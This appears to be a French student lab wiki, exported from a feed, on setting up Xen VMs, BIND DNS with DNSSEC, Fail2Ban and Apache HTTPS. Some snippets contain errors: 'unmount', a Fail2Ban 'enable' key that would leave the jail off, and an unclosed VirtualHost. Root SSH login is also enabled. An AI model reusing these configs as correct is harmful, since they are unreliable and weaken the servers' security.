[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12104</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12104"/>
		<updated>2026-02-07T17:35:44Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Configuration des zones */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
